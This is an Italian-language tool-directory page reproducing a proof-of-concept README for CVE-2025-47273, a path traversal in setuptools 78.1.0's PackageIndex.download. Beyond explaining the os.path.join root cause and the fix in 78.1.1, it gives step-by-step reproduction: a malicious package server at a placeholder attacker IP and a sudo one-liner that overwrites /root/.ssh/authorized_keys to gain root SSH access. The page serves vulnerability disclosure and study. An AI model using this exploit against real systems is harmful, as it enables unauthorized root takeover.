Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 è una vulnerabilità di path traversal ad alta gravità nella libreria setuptools, specificamente nella versione 78.1.0. | Kitploit
Strumenti/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza della Supply ChainApprendimento e Formazione
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 è una vulnerabilità di path traversal ad alta gravità nella libreria setuptools, specificamente nella versione 78.1.0.

Vedi Repository
15 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-47273: setuptools versione 78.1.0 - Path Traversal in setuptools.package_index

Dichiarazione di non responsabilità

Questa Proof of Concept (PoC) è intesa esclusivamente a scopo educativo e per audit di sicurezza autorizzati. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni. L'accesso non autorizzato a sistemi informatici è illegale e non etico.


Analisi della vulnerabilità

CVE-2025-47273 è una vulnerabilità di path traversal trovata nel modulo package_index della libreria setuptools (v78.1.0 e precedenti). La vulnerabilità consente a un attaccante di eseguire una scrittura arbitraria di file fornendo un URL appositamente creato al metodo PackageIndex.download().

La causa principale: comportamento di os.path.join()

Il difetto deriva da un errore comune nella funzione os.path.join() di Python. Secondo la documentazione di Python:

Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.

Nella versione vulnerabile di setuptools, il nome del file di destinazione viene determinato estraendo un nome dall'URL e unendolo con una directory temporanea:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

Se un attaccante fornisce un URL in cui la parte del nome file (dopo la decodifica dell'URL) inizia con una barra /, os.path.join scarta il prefisso tmpdir e restituisce il percorso assoluto fornito nell'URL.

Diagramma del flusso della vulnerabilità

root@kitploit:~
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

Impatto tecnico

Poiché il percorso di destinazione può essere manipolato in un percorso assoluto, un attaccante può scrivere contenuti arbitrari in qualsiasi posizione del filesystem dove il processo ha permessi di scrittura.

Scenari ad alto impatto:

  1. Escalation dei privilegi: Se il processo che utilizza setuptools viene eseguito con privilegi elevati (ad esempio, un installer a livello di sistema), un attaccante può sovrascrivere file di sistema critici come /etc/passwd, /root/.ssh/authorized_keys o /etc/shadow e molte altre possibilità...
  2. Persistenza / RCE: Sovrascrivere file di configurazione a livello utente come ~/.bashrc, ~/.ssh/authorized_keys, o iniettare codice in librerie Python esistenti può portare a un'esecuzione di codice remota persistente.

Riproduzione (Sovrascrittura di /root/.ssh/authorized_keys )

Configurazione dell'ambiente

La vulnerabilità è presente in setuptools versione 78.1.0.

root@kitploit:~
pip install setuptools==78.1.0

1. genera coppie di chiavi ssh nella directory poc

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. Avvia il server malintenzionato (macchina attaccante)

Lo script server.py agisce come un indice di pacchetti malintenzionato. Serve un file payload indipendentemente dal percorso richiesto, e il file che stiamo servendo è id_rsa.pub.

root@kitploit:~
python3 server.py 80

2. Esegui l'exploit (macchina bersaglio)

Attiva la scrittura del file usando questo comando e poi puoi accedere via ssh come root con la tua coppia di chiavi ssh precreata

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. Infine, accedi via ssh alla macchina bersaglio come root con la chiave privata creata al passo 1

root@kitploit:~
ssh -i id_rsa root@<target-ip>

Mitigazione

La vulnerabilità è stata risolta in setuptools versione 78.1.1. La correzione prevede la sanificazione rigorosa della variabile name derivata dall'URL per garantire che non contenga barre iniziali o lettere di unità prima di essere passata a os.path.join().

Per proteggere il tuo ambiente:

root@kitploit:~
pip install --upgrade setuptools

Riferimenti

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
Scarica lo strumento